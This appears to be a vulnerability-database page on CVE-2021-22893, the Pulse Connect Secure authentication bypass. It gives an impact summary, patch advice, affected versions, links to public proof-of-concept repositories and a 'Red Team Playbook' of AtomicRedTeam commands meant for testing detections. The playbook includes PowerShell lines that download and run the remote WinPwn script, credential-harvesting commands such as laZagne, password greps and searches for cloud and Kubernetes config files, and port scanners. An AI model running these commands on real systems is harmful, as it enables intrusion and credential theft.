CVE-2021-22893
Overview
This vulnerability is an authentication bypass affecting the Pulse Connect Secure gateway, specifically triggered through the Windows File Share Browser and Pulse Secure Collaboration features. The root cause lies in improper validation of authentication tokens, allowing unauthenticated access to privileged functions. The flaw enables attackers to interact with internal components without valid credentials, exploiting memory management weaknesses related to use-after-free conditions.
Vulnerability Description
Pulse Connect Secure 9.0R3/9.1R1 and higher is vulnerable to an authentication bypass vulnerability exposed by the Windows File Share Browser and Pulse Secure Collaboration features of Pulse Connect Secure that can allow an unauthenticated user to perform remote arbitrary code execution on the Pulse Connect Secure gateway. This vulnerability has been exploited in the wild.
Impact
An unauthenticated attacker can remotely execute arbitrary code on the Pulse Connect Secure gateway, gaining full control over the device. This enables access to sensitive network resources behind the gateway, potential data exfiltration, and lateral movement within the network. No prior authentication or user interaction is required, making exploitation straightforward and highly impactful for organizations relying on Pulse Connect Secure for remote access security.
Solution
Ivanti has released security updates addressing this vulnerability in Pulse Connect Secure versions 9.0R3 and 9.1R1 and later. Administrators should apply the patches detailed in Ivanti Security Advisory SA44784, available at https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784/. The advisory provides version-specific fixes and recommended upgrade paths to mitigate the issue. Immediate patching is advised to prevent exploitation.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (36)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:-:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r2:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r2.1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r3:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r3.1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r3.2:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r3.3:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r3.5:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r4:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r4.1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r5.0:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r6.0:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:-:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r10.0:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r10.2:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r11.0:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r11.1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r11.3:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
ZephrFish/CVE-2021-22893_HoneyPoC2
DO NOT RUN THIS.
|
ZephrFish | 47 | 19 | 2021-04-21 | View |
|
orangmuda/CVE-2021-22893
Proof On Concept — Pulse Secure CVE-2021-22893
|
orangmuda | 7 | 5 | 2021-10-03 | View |
|
MRLEE123456/CVE-2021-22893
Pulse Connect Secure RCE Vulnerability (CVE-2021-22893)
|
MRLEE123456 | 0 | 3 | 2021-04-21 | View |
Threat Feed
22 eventsSighting activity recorded
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Sighting activity recorded
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-22893 |
| kb.pulsesecure.net |
GitHub CVE
x_refsource_MISC
|
https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784/ |
| blog.pulsesecure.net |
GitHub CVE
x_refsource_MISC
|
https://blog.pulsesecure.net/pulse-connect-secure-security-update/ |
| fireeye.com |
GitHub CVE
x_refsource_MISC
|
https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html |
| kb.cert.org |
GitHub CVE
x_refsource_MISC
|
https://kb.cert.org/vuls/id/213092 |
| kb.cert.org |
NVD API
US Government Resource
|
https://www.kb.cert.org/vuls/id/213092 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-22893 |